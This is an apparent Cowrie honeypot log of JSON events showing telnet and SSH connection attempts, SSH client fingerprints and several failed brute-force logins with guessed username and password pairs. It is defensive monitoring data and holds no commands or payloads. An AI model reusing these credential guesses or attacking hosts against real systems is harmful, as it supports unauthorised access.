{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35954,"dst_ip":"159.203.135.109","dst_port":23,"session":"be63b242f446","protocol":"telnet","message":"New connection: 38.60.198.128:35954 (159.203.135.109:23) [session: be63b242f446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:39.436211Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38712,"dst_ip":"159.203.135.109","dst_port":23,"session":"5da4c32db9ed","protocol":"telnet","message":"New connection: 38.60.198.128:38712 (159.203.135.109:23) [session: 5da4c32db9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:41.728722Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39238,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b042d88423b","protocol":"telnet","message":"New connection: 38.60.198.128:39238 (159.203.135.109:23) [session: 0b042d88423b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:43.147912Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41098,"dst_ip":"159.203.135.109","dst_port":23,"session":"b21c8086c7a8","protocol":"telnet","message":"New connection: 38.60.198.128:41098 (159.203.135.109:23) [session: b21c8086c7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:43.535875Z"}
{"eventid":"cowrie.session.closed","duration":36.81215953826904,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:47.940398Z","src_ip":"38.60.198.128","session":"510ba29a5840","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.10345959663391,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:48.586755Z","src_ip":"38.60.198.128","session":"dad9599276ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.900705099105835,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:51.213166Z","src_ip":"38.60.198.128","session":"cdb18e08a4ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.382121086120605,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:51.483200Z","src_ip":"38.60.198.128","session":"b8f895af29b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53000,"dst_ip":"159.203.135.109","dst_port":23,"session":"2936f8ff4ca7","protocol":"telnet","message":"New connection: 38.60.198.128:53000 (159.203.135.109:23) [session: 2936f8ff4ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:53.254874Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56308,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc000e50d10d","protocol":"telnet","message":"New connection: 38.60.198.128:56308 (159.203.135.109:23) [session: bc000e50d10d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:55.928386Z"}
{"eventid":"cowrie.session.closed","duration":40.24860119819641,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:56.480590Z","src_ip":"38.60.198.128","session":"9fb28777a957","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58250,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7a288c72779","protocol":"telnet","message":"New connection: 38.60.198.128:58250 (159.203.135.109:23) [session: b7a288c72779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:57.629559Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59584,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d4d5d37c2c3","protocol":"telnet","message":"New connection: 38.60.198.128:59584 (159.203.135.109:23) [session: 3d4d5d37c2c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:58.878027Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":32772,"dst_ip":"159.203.135.109","dst_port":23,"session":"9873bcaf3295","protocol":"telnet","message":"New connection: 38.60.198.128:32772 (159.203.135.109:23) [session: 9873bcaf3295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:00.195585Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":57086,"dst_ip":"159.203.135.109","dst_port":23,"session":"f562e3b03d4c","protocol":"telnet","message":"New connection: 192.211.53.160:57086 (159.203.135.109:23) [session: f562e3b03d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:02.009139Z"}
{"eventid":"cowrie.session.closed","duration":50.667994022369385,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:02.480574Z","src_ip":"38.60.198.128","session":"085366db5d37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37650,"dst_ip":"159.203.135.109","dst_port":23,"session":"b357413ebacc","protocol":"telnet","message":"New connection: 38.60.198.128:37650 (159.203.135.109:23) [session: b357413ebacc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:04.374248Z"}
{"eventid":"cowrie.session.closed","duration":120.00222039222717,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:05.384559Z","src_ip":"186.53.42.196","session":"d56ab3c34236","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.34696173667908,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:06.382584Z","src_ip":"38.60.198.128","session":"e304cd9d0d24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.53.42.196","src_port":51188,"dst_ip":"10.17.0.5","dst_port":23,"session":"23cf480d5203","protocol":"telnet","message":"New connection: 186.53.42.196:51188 (10.17.0.5:23) [session: 23cf480d5203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:06.704901Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40082,"dst_ip":"159.203.135.109","dst_port":23,"session":"795ab9a9a109","protocol":"telnet","message":"New connection: 38.60.198.128:40082 (159.203.135.109:23) [session: 795ab9a9a109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:06.891114Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47036,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea236f956975","protocol":"telnet","message":"New connection: 38.54.119.93:47036 (10.17.0.5:23) [session: ea236f956975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:08.144666Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41212,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed2551455eb5","protocol":"telnet","message":"New connection: 38.60.198.128:41212 (159.203.135.109:23) [session: ed2551455eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:08.302080Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42032,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dda4d05d1e5","protocol":"telnet","message":"New connection: 38.60.198.128:42032 (159.203.135.109:23) [session: 9dda4d05d1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:09.192395Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":40636,"dst_ip":"159.203.135.109","dst_port":22,"session":"739e6962043b","protocol":"ssh","message":"New connection: 2.57.121.25:40636 (159.203.135.109:22) [session: 739e6962043b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:10.078080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:10.083323Z","src_ip":"2.57.121.25","session":"739e6962043b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:10.188648Z","src_ip":"2.57.121.25","session":"739e6962043b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"231183","message":"login attempt [user/231183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:10.685762Z","src_ip":"2.57.121.25","session":"739e6962043b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.84370827674866,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:11.503336Z","src_ip":"38.60.198.128","session":"616729d2c959","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"23111981","message":"login attempt [user/23111981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:11.794039Z","src_ip":"2.57.121.25","session":"739e6962043b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44768,"dst_ip":"159.203.135.109","dst_port":23,"session":"39149a8ffca5","protocol":"telnet","message":"New connection: 38.60.198.128:44768 (159.203.135.109:23) [session: 39149a8ffca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:12.145025Z"}
{"eventid":"cowrie.session.closed","duration":4.612499475479126,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:12.757053Z","src_ip":"38.54.119.93","session":"ea236f956975","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"23111979","message":"login attempt [user/23111979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:12.901590Z","src_ip":"2.57.121.25","session":"739e6962043b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23091993","message":"login attempt [user/23091993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:14.010613Z","src_ip":"2.57.121.25","session":"739e6962043b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.854373216629028,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:14.046633Z","src_ip":"38.60.198.128","session":"9dda4d05d1e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.482051849365234,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:14.269741Z","src_ip":"38.60.198.128","session":"d84dfb6e6b56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47500,"dst_ip":"159.203.135.109","dst_port":23,"session":"eda587a36ede","protocol":"telnet","message":"New connection: 38.60.198.128:47500 (159.203.135.109:23) [session: eda587a36ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:15.039271Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"23071977","message":"login attempt [user/23071977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:15.119247Z","src_ip":"2.57.121.25","session":"739e6962043b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51522,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd01d162d76f","protocol":"telnet","message":"New connection: 38.54.119.93:51522 (10.17.0.5:23) [session: fd01d162d76f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:15.164124Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48002,"dst_ip":"159.203.135.109","dst_port":23,"session":"57b4a55e282a","protocol":"telnet","message":"New connection: 38.60.198.128:48002 (159.203.135.109:23) [session: 57b4a55e282a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:15.596081Z"}
{"eventid":"cowrie.session.closed","duration":38.5948224067688,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:15.840259Z","src_ip":"38.60.198.128","session":"1e02e819e2a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.02984809875488,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:15.912317Z","src_ip":"38.60.198.128","session":"0f7028e0adba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:16.227565Z","src_ip":"2.57.121.25","session":"739e6962043b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":54316,"dst_ip":"10.17.0.5","dst_port":22,"session":"64b3e8c5c4e2","protocol":"ssh","message":"New connection: 115.68.208.117:54316 (10.17.0.5:22) [session: 64b3e8c5c4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:19.621486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:19.626040Z","src_ip":"115.68.208.117","session":"64b3e8c5c4e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:19.826140Z","src_ip":"115.68.208.117","session":"64b3e8c5c4e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test01","password":"password","message":"login attempt [test01/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:20.663632Z","src_ip":"115.68.208.117","session":"64b3e8c5c4e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.44258093833923,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:21.726043Z","src_ip":"38.60.198.128","session":"32c4ff87468d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:21.871096Z","src_ip":"115.68.208.117","session":"64b3e8c5c4e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53134,"dst_ip":"159.203.135.109","dst_port":23,"session":"55a0eab7a981","protocol":"telnet","message":"New connection: 38.60.198.128:53134 (159.203.135.109:23) [session: 55a0eab7a981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:21.958114Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54374,"dst_ip":"159.203.135.109","dst_port":23,"session":"04b733b850df","protocol":"telnet","message":"New connection: 38.60.198.128:54374 (159.203.135.109:23) [session: 04b733b850df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:22.142463Z"}
{"eventid":"cowrie.session.closed","duration":39.8348274230957,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:22.982631Z","src_ip":"38.60.198.128","session":"0b042d88423b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56942,"dst_ip":"159.203.135.109","dst_port":23,"session":"a107c0d2d2a4","protocol":"telnet","message":"New connection: 38.60.198.128:56942 (159.203.135.109:23) [session: a107c0d2d2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:24.729886Z"}
{"eventid":"cowrie.session.closed","duration":43.185314416885376,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:24.913913Z","src_ip":"38.60.198.128","session":"5da4c32db9ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.65009045600891,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:27.185860Z","src_ip":"38.60.198.128","session":"b21c8086c7a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.64059615135193,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:28.076679Z","src_ip":"38.60.198.128","session":"be63b242f446","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57854,"dst_ip":"159.203.135.109","dst_port":23,"session":"729003f90845","protocol":"telnet","message":"New connection: 38.60.198.128:57854 (159.203.135.109:23) [session: 729003f90845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:28.653645Z"}
{"eventid":"cowrie.session.closed","duration":36.39155459403992,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:29.646235Z","src_ip":"38.60.198.128","session":"2936f8ff4ca7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.92865347862244,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:32.484428Z","src_ip":"38.60.198.128","session":"5595b84beab6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37474,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7ca55ac3a0a","protocol":"telnet","message":"New connection: 38.60.198.128:37474 (159.203.135.109:23) [session: d7ca55ac3a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:32.870429Z"}
{"eventid":"cowrie.session.closed","duration":36.62990140914917,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:35.507814Z","src_ip":"38.60.198.128","session":"3d4d5d37c2c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":42424,"dst_ip":"159.203.135.109","dst_port":22,"session":"02bd0b854c8a","protocol":"ssh","message":"New connection: 186.10.86.130:42424 (159.203.135.109:22) [session: 02bd0b854c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:37.791688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:37.796220Z","src_ip":"186.10.86.130","session":"02bd0b854c8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:37.950287Z","src_ip":"186.10.86.130","session":"02bd0b854c8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.619948863983154,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:38.249371Z","src_ip":"38.60.198.128","session":"b7a288c72779","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.18488693237305,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:38.380287Z","src_ip":"38.60.198.128","session":"9873bcaf3295","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"ftpadmin@123","message":"login attempt [ftpadmin/ftpadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:38.573969Z","src_ip":"186.10.86.130","session":"02bd0b854c8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:39.724295Z","src_ip":"186.10.86.130","session":"02bd0b854c8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.38867545127869,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:40.316921Z","src_ip":"38.60.198.128","session":"bc000e50d10d","protocol":"telnet"}
